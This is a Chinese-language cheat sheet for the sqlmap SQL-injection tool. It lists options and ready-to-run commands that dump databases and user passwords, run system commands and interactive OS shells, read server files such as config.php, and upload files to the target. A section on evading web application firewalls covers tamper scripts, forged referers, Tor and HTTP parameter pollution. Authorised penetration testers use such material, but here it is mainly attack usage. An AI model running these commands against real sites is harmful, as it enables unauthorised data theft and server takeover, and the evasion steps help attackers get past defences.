1. 介绍
SQLMAP 是一款开源的渗透测试工具,能够自动检测和利用 SQL 注入漏洞,从而接管数据库服务器。它拥有强大的探测引擎和丰富的功能,可以进行数据库提权、文件系统访问、操作系统命令执行等操作。
2. 常用参数
- 基础参数:
--version
: 显示程序版本号并退出-h, --help
: 显示帮助信息并退出-u
: 设置目标 URL-p
: 指定测试参数-D
: 指定要枚举的数据库名-U
: 指定要枚举的数据库表-T
: 枚举列的信息-C
: 指定要枚举的数据库列-U
: 指定要枚举的数据库用户--current-user
: 获取当前用户名称--current-db
: 获取当前数据库名称--cookie
: 设置 cookie 值--dbs
: 列出数据库--tables
: 列出数据库中的表--columns
: 列出表中的列--dump
: 列出表中的字段--sql-shell
: 执行 SQL 命令--os-cmd
: 执行系统命令--os-shell
: 与系统交互 shell-r
: 加载外部请求包--batch
: 使用默认参数进行测试--data=DATA
: 通过 POST 发送数据字符串--level=LEVEL
: 执行测试的等级(1-5,默认为 1)--risk=RISK
: 执行测试的风险(0-3,默认为 1)-v VERBOSE
: 详细级别: 0-6 (默认为 1)--proxy=PROXY
: 使用 HTTP 代理连接到目标 URL--user-agent
: 指定 HTTP User-Agent--tamper=TAMPER
: 使用给定的脚本 (S) 篡改注入数据--random-agent
: 随机的请求头
- Tamper 脚本:
- 使用方法:
--tamper xxx.py
- 例如:
--tamper base64encode.py
- 使用方法:
3. 使用示例
基础使用
- 判断注入点和数据类型:
sqlmap -u http://www.test.php?id=1
(GET 方法注入)sqlmap -r /etc/url.txt
(POST 方法注入)
- 判断数据库名 (dbs):
sqlmap -u "http://www.test.php?id=1" --dbs
- 判断表名 (tables):
sqlmap -u "http://www.test.php?id=1" -D 数据库名 --tables
- 判断列名 (columns):
sqlmap -u "http://www.test.php?id=1"-D 数据库名 -T 表名 --column
- 获取字段:
sqlmap -u "http://www.test.php?id=1" -D 数据库名 -T 表名 -C 列名 --dump
进阶使用
sqlmap -u "http://url/news?id=1" --current-user
(获取当前用户名称)sqlmap -u "http://url/news?id=1" --current-db
(获取当前数据库名称)sqlmap -u "http://url/news?id=1" --dbs
(枚举所有数据库名)sqlmap -u "http://url/news?id=1" -D "db_name" --tables
(列出指定数据库的表名)sqlmap -u "http://url/news?id=1" -D "db_name" -T "tablename" --columns
(列出指定数据库对应表的字段)sqlmap -u "http://url/news?id=1" -D "db_name" -T "table_name" -C "column_name" --dump
(获取字段内容)sqlmap -u "http://url/news?id=1" --dbms "Mysql" --users
(指定数据库类型)sqlmap -u "http://url/news?id=1" --users
(列数据车用户)sqlmap -u "http://url/news?id=1" --passwords
(数据库用户密码)sqlmap -u "http://url/news?id=1" --sql-shell/--os-cmd
(执行指定 sql 命令)sqlmap -u "http://url/news?id=1" --os-cmd=whoami
(执行系统命令)sqlmap -u "http://url/news?id=1" --os-shell
(系统交互 shell)sqlmap -u "http://url/news?id=1" --dbs -o"sqImap.log"
(保存进度)sqlmap -u "http://url/news?id=1" --dbs -o"sqlmap.log" --resume
(恢复已保存进度)sqlmap -u "http://url/news?id=1" --tamper "base64encode.py"
(加载脚本)sqlmap -u "http://url/news?id=1" -p id
(指定注入参数)sqlmap -u "http://url/news?id=1" --dump-all
(爆出该数据库中的所有数据)sqlmap -u "http://url/news?id=1" --proxy="http://127.0.0.1:8080"
(指定代理)sqlmap -u "http://url/news?id=1" --delay=3 --force-ssl
(爆破 HTTPS 网站)sqlmap -u "http://url/news?id=1" --is-dba
(判断当前用户是否有管理员权限)sqlmap -u "http://url/news?id=1" --identify-waf
(检测是否有 WAF)sqlmap -u "http://url/news?id=1" --file-read "c:/test.txt"
(读取目标服务器文件)sqlmap -u "http://url/news?id=1" --file-write test.txt --file-dest "e:/hack.txt"
(上传文件到目标服务器)
过 WAF 手法
sqlmap -u "http://url/news?id=1"
--random-agent
(使用任意的 User-Agent 爆破)-v3
(输出详细度)--threads 5
(指定线程数)--fresh-queries
(清除缓存)--flush-session
(清空会话)--batch
(默认交互)--random-agent
(任意的 http 头)--tamper "base64encode.py "
(对提交的数据进行 base64 编码)--referer http://www.baidu.com
(伪造 referer 字段)--random-agent
(使用任意 HTTP 头进行绕过)--time-sec=3
(使用长的延时来避免触发 WAF 的机制)--hpp
(使用 HTTP 参数污染进行绕过)--proxy=http://127.0.0.1:7890
(使用代理进行绕过)--ignore-proxy
(禁止使用系统的代理)--flush-session
(清空会话)--hex
或--no-cast
(进行字符码转换)--mobile
(对移动端的服务器进行注入)--tor
(匿名注入)
直接使用
python sqlmap.py -u "https://www.vuln.cn/post.php?id=1" --force-ssl --proxy "http://127.0.0.1:7890" --batch --dbs
python sqlmap.py -u "http://www.vuln.cn" –cookie "id=11" --level 2
python sqlmap.py -u "www.xxxx.com/product/detail/id/3*.html" --dbms=mysql -v 3
python sqlmap.py -r "c:\request.txt" -p id –dbms mysql –file-read="e:\www\as\config.php"